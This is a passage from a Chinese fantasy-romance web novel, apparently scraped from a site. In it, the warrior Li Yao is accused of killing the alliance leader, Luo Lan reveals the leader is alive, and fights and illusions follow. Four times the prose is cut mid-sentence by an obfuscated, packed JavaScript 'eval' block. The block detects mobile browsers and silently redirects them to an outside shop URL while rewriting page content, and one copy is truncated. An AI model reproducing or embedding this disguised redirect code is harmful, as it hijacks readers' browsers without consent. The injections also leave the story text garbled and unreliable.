但他视线掠过人群,在地上焦尸停顿片刻,终究是强忍住血液里暴虐的冲动,忽而仰天大笑: “好!我认罪,我乃夺舍妖邪,鸠占鹊巢,包藏祸心,栽赃构陷,煽风点火,偷袭暗算,寡廉鲜耻之事我样样做尽,却还能装得道貌岸然,稳坐高台!” 秦玄策“唰”一把合上扇子,难得沉下脸来冷冷看着离曜。 殿中人俱是眼观鼻鼻观心,大气不敢出。 早年间曾有风传,说秦玄策年纪轻轻便能接任家主,乃是因秦氏老祖夺舍了自家后辈,鸠占鹊巢重生而来……此事虽无人敢明言,但秦玄策争夺家主之位时清洗族内异己的手段,确实熟稔异常。 离曜见着秦玄策难看的脸色,心头快意——原来学着罗阑那女人拐弯抹角地说话,看人憋屈又无法发作的模样,感觉还真不赖! 他环视一圈:“诸位既认定我便是那堕凤,认定我杀害了盟主,魔头当前,你们还等什么?怎的还没人上来斩妖除魔,替天行道?” 他向前踏出一步。 围拢的众人齐齐后退。 “一群废物。”离曜齿冷道,“苏盟主身死,你们此刻不想着揪出真凶,却只想借机内讧,仙盟若都是你们这等货色,不如早些散了干净!” 他说罢,身形一动,就要出殿。 “站住!”杜怀瑾厉喝一声,飞身挡在殿门前,一剑刺向离曜,“还盟主命来!” 杜怀瑾是苏沉辰一手栽培,此刻含怒出手,招招凌厉,直取离曜要害。 离曜身形腾挪,在那密不透风的剑网中穿梭自如,竟似闲庭信步,连刀兵都未取出,还有余暇嗤笑:“总算还有个有点血性的,可惜——眼瞎。” 杜怀瑾却绝无说话的余暇。与离曜对战,每一招每一式都需倾尽全力,可即便如此,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059117|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连他的衣角都难以沾到,反而因为过度催动灵力,脸色都已煞白。 离曜外袍之前给了罗阑,此刻只着一身贴肉的玄色劲装,更衬得他肩背开阔,腰线紧实,收得极窄,却在发力时爆发出惊人的力量。 缠斗间,忽有一物从离曜胸襟内飘落—— 素白一截,柔软纤长。 正是罗阑那截绸带。 离曜心道不好,竟是无视杜怀瑾迎面刺来的一记杀招,直接伸手去捞那绸带。 杜怀瑾却以为那绸带是什么要紧物事,竟中途撤招,也伸手去扯。 离曜看得眼皮一跳,厉声道:“这也是你碰得的?!” 他先一步攥住绸带,旋即腰身一拧,一记猛踹正中杜怀瑾胸口! “砰——!” 杜怀瑾如断线风筝般倒飞出去,重重撞在殿墙之上,竟嵌入墙壁三尺有余,周身骨骼不知断了多少,张口喷出一大口鲜血。 殿内众人被这突如其来的狠辣一击慑得大气都不敢出。 离曜看也不看杜怀瑾,第一时间将夺回的绸带仔细检查,见洁白依旧,未染尘埃血污,才妥善将其贴身收好。 墨明子看着离曜那珍而重之收起绸带的动作,疑惑问:“昭夜侯,你手中那带子……是何要紧之物?” 话音刚落,忽有一人声音冷冷道:“什么要紧之物?” 离曜闻声转头,便见罗阑身影立在门廊。她已换了一身新的深青袍服,长发整齐束起,面具遮掩了面容,只露出紧抿的、颜色浅淡的唇。 众人一见罗阑到场,皆是精神一振,如同吃下定心丸。 谁人不知这二人间不死不休,今日有机会整治离曜,罗阑又岂会错过? 离曜见了罗阑,心头却是“咯噔”一下。这女人面皮薄得很,又记仇,先前在密室那般欺辱她,刚才墨明子那话也叫她听去了,此刻心里可不知恼成什么样。 罗阑果然冷着一张脸,径直走到离曜跟前,停下。 然后抬手—— “啪!” 一记清脆响亮的耳光,结结实实扇在离曜脸上。 高佑才唤了一声“罗总参事——”,声音便卡在喉咙里,再也发不出来。 殿内一时寂静得可怕。 众人眼睁睁看着离曜面颊上浮起鲜红的巴掌印,心中对罗阑的胆魄佩服得五体投地。 离曜舌尖顶了顶发麻的腮帮,缓缓转回脸,盯住罗阑道:“我看你是欠收拾。” 罗阑向他伸出手,冷冷道:“还给我。” 离曜挑眉,竟低低笑了,笑容里透着几分恶劣:“还给你什么?嗯?说清楚点。你不说清楚,我怎么知道你要什么?” 他刻意放缓的语调,在旁人听来是挑衅,在知情的两人之间,却别有一番狎昵与逼迫的意味。 罗阑凝立不动。 殿内众人见状,七嘴八舌开口: “罗总参事!昭夜侯杀害苏盟主,证据确凿,还请总参事主持公道!” “正是!此獠凶残,竟还对杜侍卫下此重手!” “请罗总参事审判离曜!我等愿遵总参事裁决!” 众人你一言我一语,竟是将审判离曜的决策权全推到了罗阑手上。 离曜听得嗤笑,正要嘲讽几句,却听罗阑冷冷开口: “盟主绝非离曜所杀。” 殿内霎时一静。 叶千机才笑了几声:“但凭罗总参事决断,我等绝无异议——” 声音忽然卡在喉咙里,猛地回头看向罗阑,“你、你说什么?” 罗阑重复:“我说——人,不是离曜所杀。” 15. 故影阑珊 “苏盟主未死,”罗阑缓缓道,“离曜又怎会杀得了他?” 众人皆是目瞪口呆,看看地上焦尸,又看看罗阑。 离曜也是讶异挑眉,罗阑这是在……替他伸冤么? 叶千机最先反应过来,冷笑道:“我先就觉得奇怪。罗总参事,你与昭夜侯素来不睦,今日却屡屡反常,莫不是有什么把柄被昭夜侯拿在手里了吧?连这也要为他说话?” “我所言俱是实情,”罗阑缓缓转头“看”向他,“叶宫主有何异议?” 叶千机被这话噎得一滞,仍是道:“罗总参事当殿内诸位都是瞎子不成?虽说那尸身已被烧得不成样子,可身形骨架、法器余烬,无一不和苏盟主相符,况且盟主玉令、通传璇玑上使的琉璃珠,苏盟主无时无刻不是随身携带,怎会随意丢弃?” 秦玄策摇着扇子道:“罗总参事,你连那地上尸身都尚未查探,凭何就能一口咬定这不是苏盟主?” “不错,”墨明子眉头皱得更紧,问罗阑,“如果地上的不是盟主,那盟主又去了何处?” 罗阑却不答,转头道:“高执事,你可是有话要说?” 一直插不上话的高佑,总算得了个间隙,忙不迭道:“正是!罗总参事明鉴!我一刻钟前,还亲眼见过盟主!当时我有事需向盟主通禀,通过投影联讯,看到盟主就在这文宣殿内。” 此言一出,殿内哗然。 杜怀瑾也正是在一刻钟前,收到盟主紧急讯召。 “难怪你会想到要来文宣殿内找盟主,”墨明子沉吟,“盟主当时可有异样,都说了些什么?” 高佑道:“当时盟主神态如常,未见有任何异样,只是在听完我禀报后,吩咐我来文宣殿案台上取一份他已批复的文函,便结束了镜影通话。” 话落,众人目光俱都向案台上看去,果见一文函端端正正摆在案台正中。 墨明子离得最近,上前打开那文函一看,便见上面潦草写就的几个大字:“安好,不日即回。” 众人将那文函传阅了一圈,那字迹与灵印,确凿无疑是苏沉辰亲笔。 “盟主既留书言安,那这……”有人指着焦尸,面露骇然。 “这尸身、这信物,又作何解释?盟主为何要如此?又去了何处?” 离曜冷眼旁观这场闹剧,目光又落回罗阑身上,冷不丁问:“你又是如何知道,苏沉辰未死?” 罗阑淡淡道:“昭夜侯现在回府去,也可在府门或书房寻到一封以箭矢钉入的密信。” 她说着,从袖中取出一张信纸,“不止你我,墨院长,秦家主,还有各位宗主,此刻府中,恐怕都已收到了这样一封信。” 离曜眯起眼,一步跨前,从她手中一把拿过那信纸,低头看去,脸色霎时古怪起来,攥着信纸,半晌都没动一下。 众人等得心焦,又不敢去催离曜。 墨明子只得再问罗阑:“罗总参事,如此说来,你已知晓盟主下落?那这具焦尸,究竟从何而来?” “这焦尸来历,我亦不知情由,至于盟主——” 她话音未落,墨明子怀中一枚玉佩忽然自行震动,墨明子脸色一变,迅速将神识沉入玉佩——这是灵枢院最高级别的“同心佩”,若非院内发生重大变故,绝不会以此种方式紧急传讯。 片刻后,墨明子抬起头,面色已是近乎铁青。 有人不禁问:“墨院长,发生何事?” 墨明子道:“我院驻守弟子紧急传讯……盟主此刻,已先一步抵达灵枢天城!” “盟主无恙?还已去了灵枢天城?”有人松了口气,“这不是好事么?” “与盟主‘同去’的,还有数十名高阶魔族!盟主……受其所挟,不得已开放了我院核心秘库!最新炼制的‘清心丹’、‘定魂散’配方玉简、百年魔染推演文牒……都被那些魔头洗劫一空!” 殿内顿时炸开了锅。 “何人能挟持得了盟主?莫不是那宣烨亲自来此?” “怪不得!怪不得要在此地弄出这焦尸疑阵,原来是要混淆视听,将我等尽数绊在此处!” 罗阑问墨明子:“你院中弟子可有恙?” 墨明子摇头:“万幸那些魔头并未杀人。” “那盟主眼下如何了?”杜怀瑾焦急问。 “盟主当无大恙,”罗阑接话道,“但魔域此番强邀盟主前往魔域做客,此刻怕是已经在路上了。我府上收到的密信,便是宣告此事。我一得信,便立即赶来总坛,却不想……还是迟了一步。” 众人唏嘘,离曜却是目光直直地盯着罗阑,蓦地里哼笑一声。 这一声笑,却是令众人骤然警醒,意识到可把这煞神给得罪了。先前有“盟主被杀”这惊天由头,尚可壮着胆子辖制,现在却是没了话柄。 叶千机道:“昭夜侯,你笑什么?盟主被掳,灵枢院遭劫,此乃仙盟奇耻大辱,有何可笑?” “没什么,”离曜撩起眼皮,“只是笑你们这些人,被人耍得团团转罢了。” 此刻真相既明,离曜再无停留此间的兴致,最后瞥了罗阑一眼,转身便往殿外掠去。 谁知就在他刚出殿门时,“咄!”一声破空之响,文宣殿四周的廊柱、飞檐、地面,骤然爆发出刺目的灵光! 道道莹白光线自虚空迸射,纵横交错,瞬间连成一片光网,将离曜周身百丈尽数封锁! 秦玄策轻摇玉扇,慢悠悠笑道:“盟主虽无恙,但有些人的嫌疑,可是还没有洗清。” 离曜回头,冷森森地看向秦玄策:“你今日非逼我动手不可?” 他手按腰间惊惶,缓缓抽刀。 刀未出鞘,凛冽杀气已席卷大殿。外围众人都觉呼吸一窒,脊背发凉,忙不迭后退数丈。秦门幻法诡谲莫测,昭夜侯刀出惊惶更是生死立判,这两尊大佛真打起来,这文宣殿恐怕真要沦为修罗场。 墨明子又惊又怒,呵斥道:“秦家主!此刻真相已明,当务之急是追查魔族动向、营救盟主、勘验焦尸!你岂可因私怨再启争端?” 秦玄策却是不为所动,缓缓打量着离曜道:“墨院长真是不知变通,你难道没看出来,咱们这位昭夜侯,此刻可是难得的虚弱。如此千载难逢的良机,若是错过,纵虎归山,还不知他日后会怎样清算今日之事。” 说话间,他手腕翻转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059118|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,玉扇在指间开合,扇面每一次展开,都似有幻影一闪而逝,随即又复归空白。 光网内,迷蒙雾气汹涌而起,雾气中光影流转,虚实颠倒。 开合之间,幻象丛生。 有沙场血海,有故人泣血,更有无数幻化的刀剑光影从四面八方袭向离曜! 有人失声惊呼:“是迷天幻幕!” 秦门独步灵域的幻法神通,一旦陷入,五感六识尽被操控,更会引动心魔幻象,极难挣脱。谁也没想到,秦玄策竟不惜动用此等神通。 “秦玄策!”罗阑忽闪身上前,挡在了秦玄策与那光网之间,冷声道,“内斗无益,即刻撤阵!” 秦玄策笑道:“罗总参事,你这是要替昭夜侯挡灾?你们的关系,何时好到这般地步了?” 人群中,叶千机不知何时悄然移动了位置,趁着罗阑注意力在秦玄策身上时,手中短匕直刺罗阑后心! 这一下偷袭毫无征兆,又快又狠,罗阑背对着他,毫无察觉,就在匕尖即将刺入的刹那—— 一道刀芒忽破开重重幻雾,后发先至,斩在叶千机持匕的手腕上! “啊——!”凄厉惨叫中,叶千机手腕齐根而断,短匕连同断手一起飞了出去。 刀芒余势未衰,轻擦过叶千机的脖颈,带出一蓬血雾。叶千机双眼暴凸,捂着喷血的脖子,嗬嗬两声,仰天倒地,抽搐几下便没了声息。 不想离曜这一瞬间的分神,却正好落入秦玄策的算计之中。 他玉扇“唰”地一合—— 光网雾气骤然向内坍缩,将离曜身影彻底吞没! 外界只能看到光雾剧烈震荡,其中传来隐约的刀啸、怒吼以及种种令人心悸的幻音,却看不清具体情形。 罗阑听着幻阵中的声音,脸色苍白,唇线抿得死紧。 不知过了多久,剧烈波动的幻阵轰然炸开,莹白光线寸寸崩裂,浓雾被暴烈的气流劈散开来,离曜的身影重新显现。 他玄衣之上多了几道裂口,发丝略显凌乱,一双暗金眼眸亮得慑人,手中惊惶刀嗡嗡鸣响,散发出令人胆寒的煞气。 秦玄策站在数丈外,脸色微微发白,手中那柄玉扇已灵光尽失。 离曜看也不看秦玄策,更无视周围噤若寒蝉的众人,大步走到罗阑面前,一把抓住她的手腕,“走。” 罗阑似乎想挣,但离曜不容分说,一把揽住她的腰,足下发力,两人飞掠而起,眼间便消失在仙盟总坛外。 离曜刚带着罗阑落下,正想说什么—— 怀中之人手里寒光一闪,直朝离曜心口刺下! 离曜瞳孔骤缩!手掌如电探出,一把攥住了那刺来的刀刃! “噗嗤——” 锋利的刃口瞬间割破掌心,滚烫的鲜血涌出,顺着指缝滴滴答答落下。 疼痛传来,离曜却恍若未觉,只是死死盯着近在咫尺的罗阑。面具遮住了她的脸,但他仿佛能透过那冰冷的面具,看到她此刻的表情。 离曜有些自嘲地想,他真就被这短短几日她的态度给麻痹了。 怎么就忘了呢? 这人,原是最恨不得他死的。 16. [锁] [此章节已锁] 七年前,苍黎城。 尸横遍野的战场刚刚沉寂,离曜提着仍在滴血的长刀,踏过遍地尚温的尸骸。 一场屠杀刚刚结束,那令人战栗的沸腾快感却在迅速褪去,熟悉的、冰冷的空虚感又一次从骨髓深处漫上来。 就在这时,他看见了那个站在尸堆旁的人。 离曜心跳莫名一滞。 那人穿一身玄黑文袍,脸上覆着张银面具,只露出一截苍白下颌,周身透着种凛冽孤绝的气质,如同天边冷月,与这血腥杀场格格不入。 风吹过,掀起那人宽大的袍袖,袖口露出一截细得惊人的腕骨。离曜的视线不由自主地钉在那截腕骨上,又缓缓上移,落在那张银面具上。 明明看不见脸,他却莫名觉得……眼前之人一定生得极好看。 “将军,”那人开口,“好重的杀性。” “你便是那罗阑?”离曜随手抹去溅在颊边半凝的血点,扯出一个血气森森、近乎挑衅的笑,“战场厮杀,不是你死,便是我亡。刀剑无眼,死伤难免。罗总参事久居殿阁,高高在上,自然看不惯这血腥场面。” “厮杀是常事,”罗阑转脸看他。那一瞬,离曜竟有种被看穿的错觉。 “此役我军斩首两千余级,”罗阑声音里听不出情绪,“但你一人,连斩三百二十七人。” 离曜眯起眼,握刀的手微微收:“那又如何?魔族凶顽,多杀一个,便是为灵域多除一害。罗总参事要因此治我的罪么?” “不敢。”罗阑语调依旧平淡无波,“只是觉得,将军似乎……很享受这个过程。” 气氛凝滞了一瞬。 “罗总参事这话有趣,”离曜嗤了声,亲兵奉上巾帕,他慢条斯理地擦拭金甲上的血迹,“刀口舔血的人,哪有什么享不享受?倒是你——” 他目光扫过罗阑全身,从那毫无装饰的银面具,到裹得严严实实的黑袍,最后落在那截细腕上。 “——瞧着身子骨不大结实。这战场风大,血气又重,可别吹病了。仙盟是没人了?要不要本将派两个人,护送总参事回营帐歇着?” 这话听着客气,实则调笑冒犯。 罗阑却毫无反应,“不劳挂念。伤亡清点、战报撰写,还需将军费心。” 说完,她转身,拄着杖走远。 离曜盯着那背影,看了很久,笑了声:“跟我拿乔?” 此后数月,这仙盟派下来镇场的病痨鬼处处与他作对。军策挑刺,练兵苛责,物资调配多方掣肘,离曜被她压得火起,实在讨厌这人说话时,那种平平无波的语调。 直到溯风原一战。 离曜在滁河谷击退宣烨,回师驰援,亲眼看到原本该被冲垮的后翼竟奇迹般地坚守着。 战后清点,他对着沙盘推演了整整一夜,着实对这弱不禁风的罗总参事刮目相看。 于是他摒弃前嫌,屡屡向她示好,不料却是屡遭冷脸,后知后觉意识到,他这是招了罗阑讨厌。 后来的几年里,他遭到过大大小小数百回暗杀。明察暗探了许久,终于发现那多起刺杀极可能都与同一人有关。 雨夜,荒郊,雷声隆隆。 庙内残破的神像在闪电映照下忽明忽暗。 “你终于肯现身了。” 离曜冷笑:“真没想到,这躲在暗处,费尽心思想要我性命的老鼠……会是你,罗总参事。” 雷电一瞬惨白的光照亮庙内——罗阑半跪在地上,雨水顺着她的袍角滴落,在积尘的地面晕开深色的痕迹。 二人不远处,数十名护卫严阵以待,银甲寒光映雨。 “我自问,和你没什么深仇大恨,初见至今纵有冒犯,也罪不至死,”离曜居高临下地俯视她,“你为何执意要杀我?” 罗阑冷冷道:“一个嗜杀的恶魔,如何能踞高位?有朝一日,性起发狂,何人能阻?” “啧。”离曜低低笑了起来,靴子踩过积水,一步步走近。 “罗总参事,战场之上,谁的手是干净的?你躲在后方挥斥方遒,令千万人赴死时,可曾觉得自己是恶魔?” 罗阑沉默。 离曜的笑意一点点敛去,缓缓拔出腰间长刀,“那现在我这‘恶魔’,便先杀了你,如何?” 刀锋直劈而下的刹那,罗阑忽从指尖弹出几根银针—— 银针无声地没入空气,直刺离曜眉心、咽喉、心口三处要害! 离曜反应极快,劈下的长刀硬生生扭转,“叮叮叮”数声脆响,银针被尽数挡下。 罗阑趁势抽身翻滚,手腕一抖,匕首直刺他面门! 这一下变招迅疾狠辣,但匕首堪堪触及离曜的衣领,便被他两指夹住,“你就这点能耐?” 离曜一把掐住罗阑,把她从地上提起,掼在残破的石柱上! “咳——!” 罗阑被勒得喘不上气,死命扳着那只桎梏在颈间的铁掌。 “啧,瞧你这可怜样,”离曜眯眼打量她挣扎的样子,略松了掐握的力道,“乖乖给我说几句软话,求求我,我便考虑饶你一命,如何?” 罗阑浑身卸了力,仰面喘息着,湿漉漉的鬓发黏在侧脸,雨水顺着她的下巴滴落,没入被血污浸染的衣领,整个人狼狈不堪。 听了这话,她竟从喉咙里嘶哑出声:“该…求饶的……是你。” 这声音与她平日里不同,听来嘶哑破碎,可离曜竟在听到的那一瞬,有了反应。 两人身体贴得极近,罗阑几乎是悬吊在他手上,她初时尚未察觉,而后反应过来,切齿道:“畜、生!” “艹!”离曜自己也是震骇莫名,恼怒地哼了声,“你一个大男人,身上擦的什么这么香,嗯?” 凑得近了,那股似有若无的冷香更清晰了些,混杂着血腥和雨水的湿气,直往他鼻腔里钻。 罗阑气得浑身发抖,脖颈还被男人大手死死掐着,羞愤的红晕却不受控制地从被面具遮掩的脸颊,一路蔓延到耳根。 地面忽然开始震颤。 不对。 离曜心头忽一跳,猛地将罗阑松开,身形疾退! 然而已经迟了,以离曜所立之地为中心,骤然升起一道锁魂阵,血色符文瞬间缠绕住离曜周身要害,将他死死压制在地! 几乎在同一时间,破庙四周阴影晃动,数十名黑衣影杀骤然现身,与离曜的亲卫激烈缠斗在一起。 “……好一个连环计。”离曜骨骼被阵法之力压得咯咯作响,仍是艰难地从地上支撑起身,却被罗阑一脚狠狠踩住肩膀,踹翻在地上。 罗阑捡起匕首,刃尖抵上离曜的喉咙。 “你能闻到……我身上的味道?” 她此刻俯着身,湿透的黑发垂落,扫过离曜的脸颊,那股冷香混合着她身上血腥气,越发浓烈地笼罩下来。 “怎么?罗总参事身上香还不让人说?”离曜仰头看她,嗤笑道,“你现在耳朵根还红着呢,被男人顶一下,就羞成这样?” 罗阑手抖得厉害,忽一脚狠狠踢在离曜腿间! 离曜“嗷”一声惨嚎,蜷缩起身子,又跪了下去。 罗阑的声音在他头顶,沉沉冷冷的:“问你话。你闻到什么味道?” “什么味道?”在罗阑看不到的角度,离曜目露凶光,狠狠磨着后槽牙,嘴上却仍是一副混不吝的调笑腔调,“当然是香味,甜味,骚——” 他声音忽然断了。 因为罗阑忽然伸手,触上了他的面庞。 她指尖冰凉,带着细微的颤抖,一寸一寸描摹而过,从额头,到眉骨,再到眼睛,到脸,到鼻梁,凡是被她指尖触碰过的地方,离曜都觉得一阵发麻,下腹紧绷,浑身都起了鸡皮疙瘩。 雨水顺着她面具的边缘,滴落在离曜的脸上。 “做什么?”他受不了地别开脸,声音都变了调。 “别动!”罗阑一把扳过他的脸,手指顺着他下颌线一点点摸过,来到他的嘴唇。 离曜呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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离曜恍惚回神,怀中人已经退开了几步远,他眸光一沉,抬手便去抓她。 “忘了我之前放过你时是怎么说的?再有下次,我可不会姑息手软。” 就在此时—— 一道漆黑煞刃,骤然从斜刺里突袭而至,直取离曜咽喉! 离曜心头警兆狂跳,本能地挥刀横挡! “铛——!!!” 震耳欲聋的金铁交击之声炸响,离曜只觉得一股排山倒海、蛮横无匹的巨力沿着刀身传来,他竟被这股力量震得连连向后飞掠,双脚在地面犁出两道深沟,直至十余丈外,才卸去这股可怕的冲击力。 离曜单膝跪地,以刀拄地,剧烈喘息,胸前伤口因这剧烈冲击再次崩开。 这般的强敌…… 是他此前纵横灵魔两域,从未遇到过的。便是宣烨,也未曾给过他如此的压迫感。 离曜抬头循着黑刃来处望去。 便见不远处一座楼宇飞檐之上,立着一个身影。 魔气,深重的魔气在这人周身翻涌。 那是个身形高挑的青年,一身暗红近黑的修身劲装,脸上覆着一张遮住下半张脸的玄黑面罩,只露出一双赤红眼睛。 此刻,那双红瞳正厌恶地瞪视着他,如同在看什么肮脏至极、令人作呕的秽物。 不知为何,离曜见到这人的第一眼,就觉得对方极其、极其讨厌。 讨厌到恨不得一脚把他从屋檐上踹下来,再用刀剁成肉泥的那种讨厌! 那人从屋檐上一跃而下,身姿轻盈,稳稳落在罗阑身前,将她严严实实挡在身后。是一个完全保护的姿态。 而罗阑…… 离曜骤然握紧了刀柄。 他看到罗阑,永远冷静自持、拒人于千里之外的罗阑,在青年站到她身前的那一刻,竟抬手,揪住了青年后腰处的衣袖。 指尖攥得有些紧,是一个下意识的、带着依赖与信任的小动作。 17. 唇齿相依 离曜死死盯住罗阑抓住青年衣袖的那只手,握刀的手背上青筋根根暴起。 他冷森森盯着青年:“你是什么人?与罗阑是何关系?” “我是谁?你还不配知道,至于阿阑,”那青年当着离曜的面,自然而然地牵起了罗阑的手。 “我和她,自是这世上最亲密——” 话音未落,惊惶刀已然出鞘,狂猛无比地劈向那青年! 青年猩红眼瞳中厉色一闪,右手虚握,一柄长刃凭空凝聚,正面迎上! “轰!轰轰轰——!” 刀煞相撞,狂暴的气浪呈环形炸开,两道身影一触即分,随即又以更快的速度再次碰撞在一起! 黑金刀芒与暗红煞气疯狂绞杀,速度快得只剩下一片模糊的残影和连绵不绝的轰鸣声。 两人从地面打到半空,又从半空杀回地面,所过之处,楼宇倾颓,地面崩陷。 眼看一道逸散的刀罡就要波及到罗阑,离曜一个旋身,长臂一伸,就要将罗阑拉进自己怀里护住—— “滚开!” 青年厉喝一声,骤然分化出三道虚影,封锁离曜所有去路! 离曜被迫回刀格挡,就这么一耽搁,罗阑竟在他眼皮子底下,轻巧地一个错步,躲入了那青年身后。 “贱种,”青年得意地朝离曜挑衅,“你也配碰她么?” 离曜胸膛起伏,一瞬不瞬地盯住罗阑。 他浑身颤抖,表情中透着种说不出的狠劲,朝罗阑伸出手:“过来。” 罗阑一动不动。 下一刻,惊惶刀爆发出前所未有的凄厉长啸,朝着青年轰然劈下! “给老子——死!” 刀未落,刀罡已压得方圆数十丈地面齐齐下沉三寸! 青年面色骤变,全身煞气灌注黑刃,横挡身前—— 一道身影,忽插入了两人之间! 是罗阑。 她竟张开双臂,不管不顾,挡在了青年的身前,正面迎向离曜刀锋! 离曜的表情,在那一瞬间,好像被人当面狠狠打了一拳似的。 他那灌注了全身力量与杀意的一刀,在她身前三寸之处,硬生生止住! 刀尖剧烈震颤,发出不甘的哀鸣,狂暴的刀罡无法完全收束,擦着罗阑的身体两侧掠过,将她身侧两排房舍彻底夷为平地! 强行收招的反噬如同巨锤砸在胸口,离曜喉头一甜,一口鲜血硬生生被他咽了回去,他看向罗阑:“他……是你什么……” 话音戛然而止。 “噗嗤!” 利刃穿透血肉的闷响,在漫天烟尘与呼啸的风声中,异常清晰。 刀尖,从罗阑前胸刺入,后背透出。 鲜血,顺着雪亮的刀锋,成串滴落。 离曜一时浑身冰冷,怔怔地低头。 罗阑软软地挂在他的刀上,袍服迅速被胸前涌出的鲜血浸透,扩大成一片触目惊心的暗红。 离曜身后,漆黑煞刃悄无声息,从后心位置穿刺没入! 而离曜竟像是毫无所觉,低头愣愣看着死在他跟前的女人。 忽有一道沉冷的声音自离曜身后响起:“住手!” 这道声音响起的瞬间,青年愕然,黑刃瞬即消散。 离曜却没有听见,他视野里只剩那片不断扩大的血红,耳朵里嗡嗡作响,什么声音都听不见了。 “嗬……嗬……”他喉咙里发出不似人声的低吼,周身气息不受控制地暴走,好似魔怔一般,眼瞳深处,一点点染上骇人的腥红。 惊惶刀感应到主人的失控,刀身剧烈震颤,发出不安的嗡鸣。 青年不由自主绷紧了心神,向后退了半步,手中长刃横在身前。 而地上,那被长刀贯穿、已然“死去”的“罗阑”,竟开始化作无数光点,缓缓消散。 是幻象?分身?还是…… “离曜!” 一道声音,穿透重重魔障,传入他耳中。 他的手腕,忽然被人紧紧握住。 离曜一点点转过头。 他看到罗阑正完好地站在他身侧。面具依旧,青袍整素,并无丝毫受伤的痕迹。 离曜愣愣地看着她,看了很久。 惊惶刀“哐当”一声掉在地上。 他张开双臂,一把将罗阑抱进怀里。 他身体还在止不住地颤抖,脸颊深深埋进她颈窝,贪婪地呼吸。 罗阑缓缓抬手抱住了他,在他后背上,很轻、很轻地拍了拍。 身上一重,罗阑踉跄一步,离曜竟是就这样,昏睡在了她的肩上。 青年看着这一幕,不禁冷笑。 罗阑费力地支撑着离曜的身体,将一颗丹药塞进他嘴里,掌心轻捂住他背后流血的伤口,才向着那青年冷冷道:“你答应过我什么?” 青年抱臂而立:“阿姐,你要我不杀苏沉辰,我已应了你,还好生将他护送到魔域,再要我不杀这贱种,不觉太过了吗?” “况且,你不是不信我能杀得了他吗?”青年笑着,“方才你若不在,他早已——” “我若不在,你早已成了他刀下亡魂。”罗阑打断他,“还是你觉得,似那般阴招偷袭取胜,有何可称道之处?” 青年面色骤然沉下来,“为达目的不择手段,这不是你教我的吗?” “怎么,偷袭对象成了他,我便成了可鄙之人?”青年说着呵呵冷笑几声,“也是,你这般护着这贱种,竟不惜进到这幻境里来。” “你不也入了这幻境杀人么?”罗阑闭了闭眼,“阴施诡诈,阳奉阴违,你真是变了。” “我变了?!”青年骤然握紧了拳头,狠盯着罗阑,“这贱种难道没变吗?阿姐,你睁大眼睛看看他现在的样子!你以为他还是当年那个——” “我跟你说过多少次,莫要这般叫他。”罗阑打断他,深吸了口气。 “就为了杀他,你竟不惜和秦玄策搅和到一起,不怕自己也陷在这幻境里,出不去了么?” 青年嗤笑:“怕什么?那秦玄策不是忌惮阿姐你么?令世人遗忘那贱种样貌声音的术法,便是你逼他下的吧?” “你!”罗阑骤然失声,“你是何时——” “我是何时知道的?”青年扯了扯嘴角,“阿姐,你莫不是忘了?我可是找了你百年,又岂会一无所知?” 青年说着,朝罗阑逼近,罗阑却随着他的靠近,往后退去。 “别再靠近了。”罗阑忽道,“我说过,我此番不能同你回去。让我暂留仙盟,作用会比我回去大得多。” 青年停下脚步,死死盯着她,半晌,忽然低低笑了起来,“好,好……阿姐总是有道理的。” “那阿姐可要记牢了。” “十五日,最多再十五日,无论你在此间之事是否‘了结’,你必须回到魔域。回到我身边。” 话落,不等罗阑回答,青年身影骤然化作一缕黑烟,消散无踪。 * 离曜昏昏沉沉,梦魇中,可怖的刺痛又一次凿穿胸膛—— 眼前是铺天盖地的血色。 他在乱箭中横冲直撞,直到锋镝洞穿四肢百骸,直到体无完肤,直到最后一丝气力也随鲜血流尽。 箭雨停了,魔军叫嚣着却不敢上前。他眼前模糊涣散,仍固执地仰头往城头上望。 城楼很高,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066651|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高。 他望进了一双眼睛。 幽暗的,冰冷的眼睛,隔着漫天烽烟,静静与他对望。 他感到胸口有什么沸腾,钻心的痛楚,比死亡更灼人。 离曜不停地战栗、不停地战栗,又要如往常一般,堕入无底的深渊。 可就在这时,一种别样的温暖裹挟住他。 就这样将他托举出痛苦的深渊。 意识逐渐回笼。 离曜首先感受到的,是侧臂处传来的温软触感。 然后,他意识到他正被人抱在怀里。 那怀抱温软,冷香幽微。抱着他的人一手环着他的肩背,另一手很轻、很轻地拍着他的背,低低地哄着他: 